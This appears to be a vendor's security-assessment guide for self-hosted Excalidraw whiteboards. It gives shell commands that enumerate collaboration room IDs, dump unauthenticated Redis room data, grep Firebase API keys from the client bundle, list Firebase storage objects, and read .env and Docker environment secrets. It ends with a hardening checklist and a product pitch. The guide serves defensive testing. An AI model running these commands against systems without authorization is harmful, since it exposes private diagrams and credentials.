Excalidraw Security Testing: Default Credentials, API Key, Database, and Collaborative Whiteboard

Excalidraw is widely deployed as a self-hosted collaborative whiteboard — organizations use it for architecture diagrams, incident response war rooms, and brainstorming sessions containing sensitive information. Key assessment areas: collaboration room IDs are guessable enabling unauthorized diagram access; the excalidraw-room collaboration server uses Redis without authentication in many deployments exposing all active room state; Firebase configuration keys are embedded in the client-side bundle; and diagram content is often transmitted and stored unencrypted. This guide covers systematic Excalidraw security assessment.

Table of Contents

  1. Room ID Enumeration and Unauthorized Diagram Access
  2. Redis and excalidraw-room Server Assessment
  3. Configuration and API Key Extraction
  4. Excalidraw Security Hardening

Room ID Enumeration and Unauthorized Diagram Access

# Excalidraw — room ID enumeration and unauthorized access
EXCALIDRAW_URL="https://draw.example.com"

# Excalidraw collaboration URLs use room IDs in the hash fragment
# Format: https://draw.example.com/#room=ROOM_ID,ENCRYPTION_KEY
# Room IDs shared via chat/email are often predictable or leaked
# in logs, browser history, or Slack message archives

# Test access to a known room ID (collaboration server check)
# The room WebSocket endpoint
ROOM_ID="abcdef123456"
wscat -c "wss://draw.example.com/socket.io/?roomID=${ROOM_ID}" 2>/dev/null

# Or for excalidraw-room server (port 80 in container, often proxied):
curl -s -o /dev/null -w "%{http_code}" \
  "https://draw.example.com/socket.io/?roomID=${ROOM_ID}&transport=polling" 2>/dev/null

# excalidraw-room — the collaboration backend (separate server)
# Check if it's accessible:
curl -s "${EXCALIDRAW_URL}/socket.io/" 2>/dev/null | head -50
# If accessible, any client can connect and join/observe any room by ID

# Room IDs from browser history, Slack, email — common patterns
# Many users use predictable room names:
for ROOM in "architecture" "security-review" "incident-2026" "roadmap" "design"; do
  STATUS=$(curl -s -o /dev/null -w "%{http_code}" \
    "${EXCALIDRAW_URL}/socket.io/?roomID=${ROOM}&transport=polling" 2>/dev/null)
  echo "Room '${ROOM}': HTTP ${STATUS}"
done

Redis and excalidraw-room Server Assessment

# Excalidraw Redis and excalidraw-room server assessment

# Redis — excalidraw-room stores active room collaboration state
# Test unauthenticated Redis access
redis-cli -h localhost -p 6379 ping 2>/dev/null
# PONG = unauthenticated Redis access

# List all Excalidraw room keys in Redis
redis-cli -h localhost -p 6379 KEYS "*" 2>/dev/null | head -30
# Keys may be: room:ROOM_ID, portal:ROOM_ID, etc.

# Get room state (drawing data in binary/JSON format)
redis-cli -h localhost -p 6379 HGETALL "room:abcdef123456" 2>/dev/null

# Docker environment
docker inspect excalidraw-room 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
for c in d:
    for e in c.get('Config',{}).get('Env',[]):
        if any(k in e for k in ['REDIS', 'PORT', 'SECRET', 'CORS']):
            print(e)
" 2>/dev/null
# REDIS_URL — Redis connection string (may include password)
# CORS — CORS configuration (check for wildcard *)

# excalidraw-room server health check
curl -s "http://localhost:3002/health" 2>/dev/null
# or the configured port (3001, 3002, 8080)

# Check Redis for stored collaboration data
redis-cli -h localhost KEYS "portal:*" 2>/dev/null | while read KEY; do
  echo "Room key: $KEY"
  redis-cli -h localhost TTL "$KEY" 2>/dev/null
  redis-cli -h localhost HLEN "$KEY" 2>/dev/null
done

Configuration and API Key Extraction

# Excalidraw configuration and API key extraction

# .env or .env.production — Excalidraw build configuration
cat /opt/excalidraw/.env 2>/dev/null
cat /opt/excalidraw/.env.production 2>/dev/null
# VITE_APP_FIREBASE_CONFIG — Firebase config JSON (API key, project ID, bucket)
# VITE_APP_WS_SERVER_URL — WebSocket server URL
# VITE_APP_HTTP_STORAGE_BACKEND_URL — storage backend URL
# LIVEBLOCKS_SECRET_KEY — Liveblocks API secret (alternative backend)

# Firebase configuration — often embedded in JS bundle
# Check the built Excalidraw JS for Firebase config
curl -s "${EXCALIDRAW_URL}/" 2>/dev/null | \
  grep -oP '"apiKey":"[^"]+' | head -3
curl -s "${EXCALIDRAW_URL}/" 2>/dev/null | \
  grep -oP '"storageBucket":"[^"]+' | head -3

# Firebase storage bucket test — may allow unauthenticated access
FIREBASE_PROJECT="your-project-id"
STORAGE_BUCKET="your-project.appspot.com"
curl -s "https://firebasestorage.googleapis.com/v0/b/${STORAGE_BUCKET}/o" 2>/dev/null | \
  python3 -c "
import json,sys
try:
    d=json.load(sys.stdin)
    items = d.get('items',[])
    print(f'Storage objects: {len(items)}')
    for item in items[:5]:
        print(f'  {item.get(\"name\")} ({item.get(\"size\")} bytes)')
except: print('No access or storage secured')
" 2>/dev/null

# Storage backend — Excalidraw+ compatible self-hosted storage
# May be an S3-compatible or custom API with its own credentials
cat /opt/excalidraw-storage/.env 2>/dev/null | grep -E "KEY|SECRET|TOKEN|BUCKET" | head -10

Excalidraw Security Hardening

Excalidraw Security Hardening Checklist:
Security TestMethodRisk
Room ID enumeration and unauthorized collaboration joinWebSocket connection to /socket.io/?roomID=GUESSED_ID — join active collaboration rooms; view and modify diagram content in real time; no authentication required by defaultHigh
Redis unauthenticated access — active room state extractionredis-cli KEYS * + HGETALL room:ID — all active collaboration room drawing data; list all active rooms; no auth in many Docker deploymentsHigh
Firebase storage bucket unauthenticated object listingGET firebasestorage.googleapis.com/v0/b/{bucket}/o — list and download all saved diagrams if Firebase rules allow unauthenticated accessHigh
Firebase API key extraction from client bundleGrep built JS bundle for apiKey, storageBucket — Firebase config embedded in frontend; use extracted config to test Firebase security rule enforcementMedium
CORS wildcard allowing cross-origin room accessTest CORS headers on excalidraw-room server — if CORS: * is set, any website can make WebSocket connections to the room server as authenticated usersMedium

Automate Excalidraw Security Testing

Ironimo tests Excalidraw deployments for predictable room ID enumeration and unauthorized collaboration join, Redis unauthenticated access and active room state extraction, Firebase storage bucket permission misconfiguration, Firebase API key extraction from client-side JavaScript bundle, CORS wildcard configuration on excalidraw-room server, WebSocket room join without authentication, .env VITE_APP_FIREBASE_CONFIG and REDIS_URL exposure, storage backend credential extraction, and collaboration data interception via WebSocket inspection.

Start free scan